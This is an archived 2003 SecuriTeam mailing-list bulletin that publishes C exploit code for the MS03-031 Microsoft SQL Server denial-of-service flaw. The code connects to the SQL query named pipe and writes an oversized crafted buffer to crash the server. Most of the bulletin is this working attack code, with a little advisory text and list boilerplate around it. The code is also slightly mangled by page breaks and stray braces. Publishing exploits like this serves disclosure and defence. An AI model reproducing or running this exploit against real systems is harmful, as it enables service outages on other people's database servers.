

# [EXPL] Microsoft SQL Server DoS Exploit Code

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0115.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/28/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 28 Jul 2003 15:50:46 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Get Thawte's New Step-by-Step SSL Guide for Apache.

<http://ad.doubleclick.net/clk;5903117;8265118;i>

-----

Microsoft SQL Server DoS Exploit Code

---

## SUMMARY

Several vulnerabilities were discovered in Microsoft SQL Server (<http://www.securiteam.com/windowsntfocus/5GP0M15AKG.html>) (<http://www.securiteam.com/windowsntfocus/5GP0M15AKG.html>).

Below is an exploit for one of the vulnerabilities. A successful attack will cause a DoS on the target's SQL Server.

## DETAILS

Exploit:

```
////////////////////////////////////  
//  
// exp for Microsoft SQL Server DoS(MS03-031)  
//  
// By : refdom  
// Email : refdom@xfocus.org  
// Home Page : http://www.xfocus.org  
// http://www.xfocus.org/exploits/200307/expMS0331.cpp  
////////////////////////////////////
```

```
#include <stdio.h>  
#include <stdlib.h>  
#include <windows.h>
```

## Securiteam: [EXPL] Microsoft SQL Server DoS Exploit Code

```
void Usage()
{
    printf("*****\n");
    printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
    printf("\t Written by Refdom\n");
    printf("\t Email: refdom@xfocus.org\n");
    printf("\t Homepage: www.xfocus.org\n\n");
    printf("Usage: DOSMSSQL.exe server buffersize\n");
    printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
    printf("The buffersize depends on service pack level.\n");
    printf("I test it on my server: windows 2000, mssqlserver no
sp.\n");
    printf("when buffersize is 9000, the server can be crashed.\n");
    printf("\n");
    printf("*****\n\n");
}

int main(int argc, char* argv[])
{
    char lpPipeName[50];
    char *lpBuffer = NULL;
    unsigned long ulSize = 0;

    BOOL bResult;
    DWORD dwWritten = 0, dwMode;
    HANDLE hPipe;

    Usage();

    printf("Starting...\n");

    if (argc != 3)
        goto Exit0;

    if (strlen(argv[1]) < 20)
    {
        sprintf(lpPipeName, "\\\\"%s\\\\".\\pipe\\sql\\query",
argv[1]);
    }
    else
    {
        printf("Error!server\n");
        goto Exit0;
    }

    ulSize= atol(argv[2]);

    lpBuffer = (char*)malloc(ulSize + 2);
    if (NULL == lpBuffer)
    {
        printf("malloc error!\n");
    }
}
```

## Securiteam: [EXPL] Microsoft SQL Server DoS Exploit Code

```
    goto Exit0;
}

memset(lpBuffer, 0, ulSize + 2);
memset(lpBuffer, 'A', ulSize);
*lpBuffer = '\x12';
*(lpBuffer + 1) = '\x01';
*(lpBuffer + 2) = '\x00';

printf("Connecting Server...\n");

hPipe = CreateFile(lpPipeName,
                  GENERIC_READ | GENERIC_WRITE,
                  0,
                  NULL,
                  OPEN_EXISTING,
                  0,
                  NULL);
if (INVALID_HANDLE_VALUE == hPipe)
{
    printf("Error!Connect server!%d\n", GetLastError());
    goto Exit0;
}

dwMode = PIPE_READMODE_MESSAGE;
bResult = SetNamedPipeHandleState(
    hPipe, // pipe handle
    &dwMode, // new pipe mode
    NULL, // don't set maximum bytes
    NULL); // don't set maximum time
if (!bResult)
{
    printf("Error!SetNamedPipeHandleState.%d\n",
    GetLastError());
    goto Exit0;
}

bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten,
NULL);

if (!bResult)
{
    printf("\n\tError!WriteFile.%d\n\n", GetLastError());
    printf("When see the error message, the target may be
crashed!!\n\n");
    goto Exit0;
}

Exit0:

return 0;
```

}

ADDITIONAL INFORMATION

Information supplied by <mailto:refdom@xfocus.org> Refdom

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.